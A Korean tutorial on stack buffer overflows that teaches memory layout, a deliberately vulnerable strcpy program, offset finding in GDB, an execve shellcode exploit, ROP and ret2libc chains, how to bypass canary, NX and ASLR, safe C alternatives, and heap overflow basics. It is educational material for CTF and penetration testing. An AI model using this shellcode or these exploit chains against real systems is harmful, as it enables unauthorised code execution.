기본 원리: 메모리와 스택의 구조
프로세스 메모리 레이아웃
프로그램이 실행되면 OS는 가상 메모리 공간을 다음과 같이 배치한다:
높은 주소 (0xFFFFFFFF)
┌─────────────────────┐
│ 커널 공간 │ OS가 사용, 접근 불가
├─────────────────────┤
│ 스택 (Stack) ↓ │ 지역변수, 함수 인자, 반환 주소
│ │ 높은 주소 → 낮은 주소 방향으로 자람
│ (빈 공간) │
│ │
│ 힙 (Heap) ↑ │ malloc/new로 동적 할당
│ │ 낮은 주소 → 높은 주소 방향으로 자람
├─────────────────────┤
│ BSS 세그먼트 │ 초기화되지 않은 전역/정적 변수
├─────────────────────┤
│ 데이터 세그먼트 │ 초기화된 전역/정적 변수
├─────────────────────┤
│ 텍스트 세그먼트 │ 실행 코드 (읽기 전용)
└─────────────────────┘
낮은 주소 (0x00000000)
스택 프레임 구조
함수가 호출될 때마다 스택에 **스택 프레임(Stack Frame)**이 생성된다. ESP(스택 포인터)와 EBP(베이스 포인터)로 프레임을 관리한다.
함수 호출: vulnerable(argv[1])
호출 전 (caller):
CALL 명령 실행 → 반환 주소를 스택에 푸시 → vulnerable로 점프
함수 진입 직후 (callee):
PUSH EBP → 이전 프레임 포인터 저장
MOV EBP, ESP → 현재 스택 포인터를 프레임 포인터로 설정
SUB ESP, 64 → 지역변수(buffer[64])를 위한 공간 확보
스택 상태:
┌────────────────────────┐ ← 높은 주소
│ argv[1] (인자) │
├────────────────────────┤
│ 반환 주소 (RET) │ ← CALL이 저장한 주소, 함수 끝나면 여기로 점프
├────────────────────────┤
│ 저장된 EBP (SFP) │ ← 이전 스택 프레임 포인터
├────────────────────────┤
│ buffer[64] │ ← ESP가 여기를 가리킴
│ [0x00 * 64] │
└────────────────────────┘ ← 낮은 주소 (스택이 자라는 방향 ↓)
핵심: 데이터는 낮은 주소에서 채워지고, 반환 주소는 높은 주소에 있다. 버퍼를 넘쳐흘리면 SFP → 반환 주소 순서로 덮어쓴다.
1. 스택 BOF 기본 원리
#include <string.h>
#include <stdio.h>
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // strcpy는 길이 검사 없이 복사!
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
vulnerable(argv[1]);
return 0;
}
strcpy(buffer, input) 실행 과정:
1. input의 첫 바이트를 buffer[0]에 복사
2. input의 두 번째 바이트를 buffer[1]에 복사
...
64. input의 64번째 바이트를 buffer[63]에 복사 ← 여기까지가 정상
65. input의 65번째 바이트를 buffer[64]에 복사 ← SFP 영역 시작!
69. input의 69번째 바이트를 반환 주소 위치에 복사 ← 제어 흐름 탈취!
strcpy는 null 바이트(\x00)를 만날 때까지 무조건 복사한다. 버퍼 크기를 초과하면 스택의 다른 값들을 덮어쓴다.
2. 보호 기법이 없는 환경에서 기본 익스플로잇
오프셋 계산
# GDB + peda로 오프셋 계산
gdb -q ./vulnerable
# 고유 패턴 생성 (200바이트)
(gdb) pattern create 200
# 출력: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2...
# 프로그램 실행 (패턴 입력)
(gdb) run $(python3 -c "print('AAA%AAsAABAA...')")
# 크래시 발생 후 EIP 확인
(gdb) info registers eip
# EIP: 0x41417241 (패턴의 일부)
# 오프셋 계산
(gdb) pattern offset 0x41417241
# 1094205761 found at offset: 68
# → buffer(64) + SFP(4) = 68바이트가 오프셋
익스플로잇 작성 (ASLR/NX 비활성화 환경)
#!/usr/bin/env python3
import struct
import subprocess
# 환경 설정 (테스트 환경)
# echo 0 > /proc/sys/kernel/randomize_va_space # ASLR 비활성화
# gcc -fno-stack-protector -z execstack -m32 -o vuln vuln.c # 보호 해제
# 오프셋
OFFSET = 68 # buffer(64) + saved_EBP(4)
# x86 쉘코드: execve("/bin/sh", NULL, NULL)
# strace로 확인: execve("/bin/sh", 0, 0) = 0
shellcode = (
b"\x31\xc0" # xor eax, eax
b"\x50" # push eax (null)
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp → ebx = "/bin//sh"
b"\x89\xc1" # mov ecx, eax (NULL)
b"\x89\xc2" # mov edx, eax (NULL)
b"\xb0\x0b" # mov al, 11 (execve 시스템 콜 번호)
b"\xcd\x80" # int 0x80 (시스템 콜 실행)
)
# 쉘코드가 들어갈 스택 주소 (GDB로 확인)
# (gdb) x/200x $esp 로 스택 주소 확인
shellcode_addr = 0xbfffef00
# 페이로드 구성
payload = shellcode # 쉘코드
payload += b"\x90" * (OFFSET - len(shellcode)) # NOP 슬레드 (패딩)
payload += struct.pack("<I", shellcode_addr) # 반환 주소 덮어쓰기 (리틀엔디안)
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Shellcode: {len(shellcode)} bytes")
print(f"[*] Return address: {hex(shellcode_addr)}")
# 실행
# ./vulnerable $(python3 exploit.py | xxd -p)
# 또는 pwntools 사용
3. 현대적 보호 기법
실제 환경에서는 여러 보호 기법이 중첩 적용된다.
Stack Canary (스택 카나리)
함수 진입 시 반환 주소 앞에 **랜덤 값(카나리)**을 배치하고, 함수 종료 전에 값이 바뀌었는지 검사한다.
스택 레이아웃 (카나리 적용):
┌────────────────────────┐
│ 반환 주소 │
├────────────────────────┤
│ 저장된 EBP │
├────────────────────────┤
│ 카나리 값 (랜덤) │ ← 8바이트 (x64), 항상 \x00으로 시작
├────────────────────────┤
│ buffer[64] │
└────────────────────────┘
함수 종료 시:
if (canary_on_stack != __stack_chk_guard) {
// 카나리 값이 바뀜 → 오버플로우 감지
__stack_chk_fail(); // abort()
}
# 카나리 확인
checksec --file=./vulnerable
# Stack: Canary found ← 카나리 적용됨
# NX: enabled ← NX 적용됨
# PIE: enabled ← PIE 적용됨
우회 방법: 카나리 값을 먼저 정보 누출(Info Leak) 취약점으로 읽어낸 후, 오버플로우 시 같은 값으로 덮어쓴다.
NX/DEP (스택 실행 방지)
스택 메모리 영역에 실행 권한을 제거한다. 쉘코드를 스택에 올려도 실행하면 세그폴트가 발생한다.
# NX 비트 확인
readelf -l ./vulnerable | grep GNU_STACK
# GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
# RW (읽기/쓰기만) → NX 활성화
# RWE (읽기/쓰기/실행) → NX 비활성화
ASLR (주소 공간 배치 랜덤화)
스택, 힙, 라이브러리의 베이스 주소를 실행마다 랜덤화한다.
# 여러 번 실행해서 주소 변화 확인
ldd ./vulnerable
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7f8a2c3b0000) ← 실행마다 변함
cat /proc/sys/kernel/randomize_va_space
# 0: 비활성화
# 1: 스택/라이브러리 랜덤화
# 2: 스택/힙/라이브러리 모두 랜덤화 (기본값)
4. ROP (Return Oriented Programming)
NX로 스택에서 쉘코드 직접 실행이 불가능할 때 사용한다. 이미 실행 가능한 **코드 세그먼트(텍스트 영역)**에 있는 작은 코드 조각(가젯)들을 체인처럼 연결해 원하는 동작을 만든다.
가젯의 원리
가젯 = 특정 명령 몇 줄 + ret 명령
예시 가젯들:
0x400600: pop rdi; ret ← rdi 레지스터에 값 설정
0x400700: pop rsi; ret ← rsi 레지스터에 값 설정
0x400800: pop rax; ret ← rax 레지스터에 값 설정
0x400900: syscall; ret ← 시스템 콜 실행
각 가젯 끝의 ret:
→ 스택에서 다음 주소를 팝해서 거기로 점프
→ 다음 가젯으로 이동
ROP 체인으로 /bin/sh 실행 (x64)
x64 리눅스에서 execve("/bin/sh", NULL, NULL) 시스템 콜:
rax = 59(execve 번호)rdi = "/bin/sh"주소rsi = 0(NULL)rdx = 0(NULL)syscall실행
from pwn import *
elf = ELF('./vulnerable')
rop = ROP(elf)
# 가젯 찾기
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]
# "/bin/sh" 문자열 위치 (바이너리나 libc에서 찾기)
bin_sh = next(elf.search(b'/bin/sh'))
# ROP 체인 구성
chain = flat(
OFFSET * b'A', # 버퍼 + SFP 채우기
pop_rdi, # rdi = "/bin/sh" 주소
bin_sh,
pop_rax, # rax = 59 (execve)
59,
syscall # execve("/bin/sh", 0, 0) 실행
)
# 스택에서의 ROP 체인 실행 흐름
# 반환 주소 = pop_rdi 가젯 주소
# → pop rdi 실행 (스택에서 bin_sh 팝 → rdi에 저장)
# → ret 실행 (스택에서 pop_rax 주소 팝 → 거기로 점프)
# → pop rax 실행 (스택에서 59 팝 → rax에 저장)
# → ret 실행 (스택에서 syscall 주소 팝 → 거기로 점프)
# → syscall 실행 → execve("/bin/sh", ?, ?) 실행
print(rop.dump())
Ret2libc — libc의 system() 함수 호출
NX는 있지만 ASLR이 없거나 libc 주소를 알 때 사용하는 고전적 기법:
from pwn import *
# libc의 system() 함수와 "/bin/sh" 문자열 주소 (ASLR 없을 때 고정)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
pop_rdi = 0x400693 # 가젯 주소 (ROPgadget으로 찾기)
ret_gadget = 0x400559 # x64 스택 정렬용 ret 가젯
payload = flat(
OFFSET * b'A',
ret_gadget, # x64에서 system() 전 16바이트 정렬 필요
pop_rdi,
bin_sh_addr,
system_addr # system("/bin/sh") 호출
)
5. 취약한 C 함수들
// ❌ 절대 사용하지 말 것
gets(buffer); // 길이 제한 전혀 없음, C11에서 제거됨
strcpy(dst, src); // src가 dst보다 크면 오버플로우
strcat(dst, src); // dst 남은 공간 확인 안 함
sprintf(buf, fmt, ...); // buf 크기 초과 가능
scanf("%s", buffer); // 공백 전까지 무제한 입력
// ✅ 안전한 대안
fgets(buffer, sizeof(buffer), stdin); // 최대 크기 지정
strncpy(dst, src, sizeof(dst) - 1); // 최대 크기 지정
dst[sizeof(dst) - 1] = '\0'; // null 종료 보장
strncat(dst, src, sizeof(dst) - strlen(dst) - 1);
snprintf(buf, sizeof(buf), fmt, ...); // 안전한 sprintf
scanf("%255s", buffer); // 최대 255자 제한
6. 힙 오버플로우
힙은 스택과 달리 malloc(), free()로 관리되는 동적 메모리 영역이다. 힙 오버플로우는 청크 메타데이터를 손상시켜 메모리 할당자의 동작을 조작한다.
힙 청크 구조 (glibc malloc)
malloc(64) 반환값 이전의 숨겨진 메타데이터:
┌──────────────────────┐
│ prev_size (8B) │ 이전 청크가 해제된 경우 그 크기
├──────────────────────┤
│ size (8B) │ 현재 청크 크기 + 플래그 비트
├──────────────────────┤ ← malloc()이 반환하는 포인터
│ 사용자 데이터 │
│ (64 bytes) │
├──────────────────────┤
│ 다음 청크 헤더 │ ← 오버플로우 시 이 부분이 손상
│ ... │
// 힙 오버플로우 취약 코드
char *buf1 = malloc(64);
char *buf2 = malloc(64);
read(fd, buf1, 128); // 64바이트짜리에 128바이트 쓰기 → 오버플로우
// buf1 뒤의 buf2 청크 헤더가 손상됨
// free(buf2) 호출 시 손상된 메타데이터로 잘못된 메모리 쓰기 발생
힙 익스플로잇 기법 (Heap Feng Shui, House of Force, tcache poisoning 등)은 스택 BOF보다 훨씬 복잡하지만, Use-After-Free나 Double-Free와 결합하면 강력한 익스플로잇이 가능하다.
도구
# pwntools: 익스플로잇 개발 프레임워크
pip install pwntools
# GDB 플러그인
pip install peda # PEDA
pip install pwndbg # pwndbg (더 현대적)
git clone https://github.com/hugsy/gef # GEF
# 바이너리 분석
checksec --file=./vulnerable # 보호 기법 확인
ROPgadget --binary ./vulnerable # 가젯 목록
objdump -d ./vulnerable # 디스어셈블리
# GDB 기본 사용
gdb ./vulnerable
(gdb) break main # 브레이크포인트
(gdb) run AAAA # 실행
(gdb) x/20x $esp # 스택 내용 확인 (20개 hex 값)
(gdb) info registers # 레지스터 확인
(gdb) nexti # 명령어 단위 실행
핵심 정리
| 보호 기법 | 원리 | 우회 방법 |
|---|---|---|
| Stack Canary | 반환 주소 앞 랜덤 값 검증 | Info Leak으로 카나리 값 읽기 |
| NX/DEP | 스택/힙 실행 불가 | ROP (이미 실행 가능한 코드 재사용) |
| ASLR | 주소 랜덤화 | Info Leak으로 베이스 주소 계산 |
| PIE | 코드 영역도 랜덤화 | Info Leak으로 ELF 베이스 주소 계산 |
실제 CTF/모의해킹에서는 이 보호 기법들이 모두 동시에 적용되며, 정보 누출 취약점으로 주소를 먼저 확보한 뒤 ROP 체인을 구성하는 것이 일반적인 공략 흐름이다.